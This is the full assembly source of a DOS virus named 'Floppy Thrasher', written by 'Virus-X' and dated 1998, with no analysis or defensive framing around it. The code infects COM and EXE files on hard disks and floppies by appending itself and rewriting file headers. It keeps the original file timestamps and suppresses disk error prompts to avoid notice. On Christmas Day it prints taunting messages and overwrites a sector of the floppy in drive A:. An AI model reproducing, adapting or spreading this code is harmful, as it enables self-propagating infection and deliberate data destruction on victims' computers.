comment * Floppy Thasher Virus author Virus-X infects COM and EXEs on Floppy and HDs Its payload will display a message to screen, print out the printer and over write the 1st sector of any floppy in drive A:\ with text * .model tiny .code org 100h start1: db 0e9h,0,0,'D' ;1ST GEN Virus is a COM file start: push ds push cs cs pop es ds ;save PSP call delta delta: pop bp sub bp,offset delta ;calculate delta offset push [bp+offset counter] ;save counter to stack cmp byte ptr [bp+counter],1 ;if counter is 1 EXE restore jne exit_COM ;other wise restore 1st 3 bytes restore: lea si,[bp+EXE_IP] ;load SI with EXE_IP lea di,[bp+Saved_ip] ;info at exe_ip will be at Saved_IP mov cx,4 ;number times to move words rep movsw ;go jmp handlers ;set up our virus to search exit_COM: lea si,[bp+tribyte] ;get orginal 4 bytes mov di,100h ;they will be at file entry mov cx,4 ;4 times rep movsb ;movsb 4 times handlers: call get_dir ;save curent dir call int24 ;redirect int 24h mov ah,19h ;get cur drive number int 21h ;DOS mov byte ptr [bp+Drive],al ;save drive number cmp al,00h ;check if we are on DISK jne DTAR ;if not set dta mov ah,0eh ;otherwise change drive mov dl,02h ;to c:\ int 21h ;DOS! mov ah,3Bh ;change dir lea dx,[bp+desktop] ;go todesktop (users often keep fav stuff on desktop) int 21h ;DOS DTAR: lea dx,[bp+dta] ;load effective address of DX with new DTA mov ah,1ah ;set new dta int 21h search: mov ah,4eh ;find first file mov cx,7 ;with any attrib lea dx,[bp+exefile] ;ending in *.EXE int 21h ;DOS jnc open ;if all Ok open jmp COMsearch ;otherwise search for COM files NextEXE: mov ah,4fh ;find next EXE file int 21h ;DOS jnc open ;if ok open the file jmp COMsearch ;otherwise searchfor some damn COMs open: mov ax,3d02h ;open read/write lea dx,[bp+dta+1eh] ;file name in DTA int 21h ;DOS! xchg ax,bx ;file handle call TimeSTAMP ;call routine used to save stamps mov ah,3fh ;Read Bytes mov cx,1ch ;read 1Ch bytes lea dx,[bp+exeheader] ;store in offset EXEHEADER int 21h ;DOS! cmp word ptr [bp+exeheader+10h],'DK' ;is the file already infected? je close ;if so close cmp word ptr [bp+exeheader+18h],'@' ;is it a NE or PE file? je close ;if so close cmp word ptr [bp+exeheader+1ah],0 ;internal overlays? jne close ;if yes close call save_header ;save the exeheader mov ax,4202h ;go to eof xor cx,cx ;zero out cx cwd ;zero dx int 21h ;DOS push ax dx ;save results call calc_newset ;calculatenew offsets pop dx ax ;restore file size call calc_newsize ;calculate new size in pages mov byte ptr [bp+counter],1 ;set counter as 1 mov ah,40h ;write to file mov cx,endvirus-start ;virus length lea dx,[bp+start] ;start at start int 21h ;DOS! mov ax,4200h ;go to file start xor cx,cx ;zero out cx cwd ;zero out DX int 21h ;DOS mov ah,40h ;write to file mov cx,1CH ;number of bytes lea dx,[bp+exeheader] ;write Virulent EXEHEADER int 21h ;DOS close: call set_stamp ;set time date stamp mov ah,3eh ;close file int 21h ;DOS! nexter: jmp NextEXE ;find Next EXE file COMSearch: mov ah,4eh ;find first file in Dir mov cx,7 ;any attributes lea dx,[bp+COMFILE] ;.COM int 21h ;DOS jnc openCOM ;if ok open COM file jmp changedir ;if not change dir nextCOM: mov ah,4fh ;Find another COM int 21h ;DOS jnc openCOM ;if ok open COM file jmp changedir ;if not ok change dir openCOM: mov ax,3d02h ;open read/write lea dx,[bp+dta+1eh] ;DTA File name location int 21h ;DOS xchg ax,bx ;bx = handle call TimeSTAMP ;save time and date cmp word ptr [bp+dta+1ah],24503 ;is the file win.com? je closeCOM ;yeah close it cmp word ptr [bp+dta+35],'DN' ;is the file Command.com? je closeCOM ;yeah close it mov ax,4202h ;go to eof xor cx,cx ;zero cx cwd ;zero dx int 21h ;DOS! sub ax,3 ;subtract 3 from file size mov word ptr [bp+newjump+1],ax ;put that value in newjump lower 2 bytes mov ax,4200h ;go to file start xor cx,cx ;zero cx cwd ;zero dx int 21h ;DOS mov ah,3fh ;read bytes lea dx,[bp+tribyte] ;into tribyte mov cx,4 ;4 bytes int 21h ;DOS cmp byte ptr [bp+tribyte+3],'D' ;is it already infected? je closeCOM ;if so close it cmp word ptr [bp+tribyte],'MZ' ;is it a fricken misnamed EXE file? je closeCOM ;ya close it cmp word ptr [bp+tribyte],'ZM' ;misnamed exe? je closeCOM ;yeah close it mov ax,4200h ;go to file start xor cx,cx ;zero cx cwd ;zero dx int 21h ;DOS mov ah,40h ;write bytes mov cx,4 ;4 bytes lea dx,[bp+newjump] ;jump to virus code int 21h ;DOS mov ax,4202h ;move to end of file xor cx,cx ;zero cx cwd ;zero dx int 21h ;DOS mov byte ptr [bp+counter],0 ;zero counter mov ah,40h ;write to file mov cx,endvirus-start ;virus length lea dx,[bp+start] ;where to start int 21h ;DOS closeCOM: call set_stamp ;set time stamp mov ah,3eh ;close file int 21h ;DOS jmp nextCOM ;go find another COM file changedir: lea dx,[bp+dot] ;'..' mov ah,3Bh ;change directory int 21h ;DOS! jc DISKSWITCH ;if we root lets infect the floppy! jmp search ;if all is well search DISKSWITCH: mov ah,19h ;get cur drive int 21h ;DOS cmp al,0 ;are we on a disk? je check_load ;if so check the payload mov ah,0eh ;otherwise change to Disk mov dl,0 ;0=A:\ int 21h ;DOS jmp search ;if all is ok search for EXEs check_load: mov ah,2ah ;get system date int 21h ;DOS cmp dh,12 ;is it december? jne exit_virus ;if not exit virus cmp dl,25 ;is it christmas jne exit_virus ;if not exit virus mov ah,9h ;display message lea dx,[bp+flopper] ;offset of message to display int 21h ;DOS mov ah,01h ;begin of printer payload mov dx,0h ;put 0h in dx int 17h ;int for initializing printer lea si,[bp+str1] ;load str to si mov cx,ender-str1 ;move string1len to cx PrintStr: ;label fer printing our message mov ah,00h ;write characters lodsb ;load byte int 17h ;printer int loop PrintStr ;loop printstr till we are done mov ah,03h ;write sector mov al,1 ;number sectors mov ch,1 ;cylinder number mov cl,1 ;lower eight bits mov dh,1 ;head number mov dl,00h ;A:\ lea bx,[bp+sectbuff] ;data to write push cs pop es int 13h ;int 13h call exit_virus: mov ah,0eh ;change drive mov dl,[bp+drive] ;back to saved drive int 21h ;DOS mov ah,3bh ;change dir lea dx,[bp+Cur_Dir] ;to original directory int 21h ;DOS! call rset24 ;restore Int 24 Vector pop [bp+offset counter] ;restore viral counter value cmp byte ptr [bp+counter],1 ;is it a 1? jne COMEXIT ;nope. were on a infected come file COm restore pop ds ;restore DS mov dx,80h ;80h =defualt DTA mov ah,1ah ;set dta int 21h ;DOS! push ds ;push es pop es ;pop es restore es = ds =PSP mov ax,es ;es = ax add ax,10h ;add ajustment for PSP add word ptr cs:[Saved_CS+bp],ax ;Adjust old CS by cur sig cli ;clear interrupt flags add ax,word ptr cs:[bp+Saved_SS] ;Adjust old SS mov ss,ax ;Restore stack to mov sp,word ptr cs:[bp+Saved_SP] ;original position sti ;restore int flags db 0eah ;far jump to CS:IP Saved_IP dw 0 ;storage for original IP Saved_CS dw 0 ;storage for original CS Saved_SP dw 0 ;storage for original SP Saved_SS dw 0 ;storage for original SS comEXIT: mov dx,80h ;80h = default DTA mov ah,1ah ;set DTA int 21h ;DOS mov di,100h ;ax = 100h, file entry point jmp di ;go to entry ;-----Procedures-----------; get_dir: mov ah,47h ;get current directory cwd ;xor dx,dx lea si,[bp+Cur_DIR] ;buffer int 21h ;DOS! ret ;return int24: mov ax,3524h ;get int vector 24 int 21h ;DOS! mov word ptr [bp+old24],bx ;store bx in lower word mov word ptr [bp+old24+2],es ;es in high word of offset old24 mov ax,2524h ;set int vector lea dx,[bp+new24h] ;offset of new24h routine int 21h ;DOS! ret ;return new24h: mov al,3 ;fail error iret ;interrupt return timeSTAMP: mov ax,5700h ;get time and date int 21h ;dos mov word ptr [bp+date1],cx ;save cx in offset date1 mov word ptr [bp+date2],dx ;save dx in offset date2 ret ;return save_header: mov ax,word ptr [bp+exeheader+10h] ;get SP mov word ptr [bp+exe_sp],ax ;save SP mov ax,word ptr [bp+Exeheader+16h] ;get CS mov word ptr [bp+exe_cs],ax ;save CS mov ax,word ptr [bp+exeheader+14h] ;get IP mov word ptr [bp+exe_ip],ax ;save IP mov ax,word ptr [bp+exeheader+0eh] ;get SS mov word ptr [bp+exe_ss],ax ;save SS ret ;return calc_newset: mov cx,10h div cx sub ax,word ptr [bp+exeheader+8h] ;filesizez - headersize=we want mov word ptr [bp+exeheader+14h],dx ;NEW IP mov word ptr [bp+exeheader+16h],ax ;NEW CS mov word ptr [bp+exeheader+0eh],ax ;NEW SS mov word ptr [bp+exeheader+10h],'DK' ;NEW SP ret ;return calc_newsize: add ax,endvirus-start ;add virus size to f-size adc dx,0 ;add carry mov cx,200h ;200h = 512 hex div cx ;divide file into pages cmp dx,0 ;check if dx is equal 0 je continue ;if so continue inc ax ;incremnet AX continue: mov word ptr [bp+exeheader+4h],ax ;set new partpag mov word ptr [bp+exeheader+2h],dx ;set new PageCnt ret ;return set_stamp: mov ax,5701h ;set time and date stamp lea cx,[bp+date1] ;set cx for old value lea dx,[bp+date2] ;set dx for old value int 21h ;DOS ret ;return rset24: mov ax,2524h ;set IVT 24h lea dx,[bp+old24] ;point to old 24h int 21h ;DOS ret ;return ;-----data----------; date1 dw ? date2 dw ? desktop db 'C:\windows\desktop',0 Cur_DIR db 64 dup (0) ;storage for Dir info dot db '..',0 old24 dd ? exefile db '*.exe',0 comfile db '*.com',0 newjump db 0e9h,0,0,'D' tribyte db 0cdh,20h,0,0 exeheader db 1ch dup (?) DTA db 42 dup (?) counter db 0 drive db 0 sectbuff db 'This floppy thrashed by Floppy Thrasher Virus',0 flopper db 'Floppy Thrasher (c) 1998',10,13 db 'Floppy in drive A:\ being thrashed......',10,13 db 'thank you for being infected have a nice day ',10,13,'$' exe_ip dw 0 ;storage for IP exe_cs dw 0fff0h ;storage for CS exe_sp dw 0 ;storage for SP exe_ss dw 0fff0h ;storage for SS str1 db 'Floppy Thrasher......Infecting COM and EXE files for along time......',0ah,0dh db 'have you been a good user this year? i think not......thus the floppy in drive A must DIE',0ah,0dh db 'Your computer is infected with floppy thrasher muhahahahahah',0ah,0dh db 'remmeber my name for i am the floppy thrasher Virus',0Ch ender label near endvirus label near end start1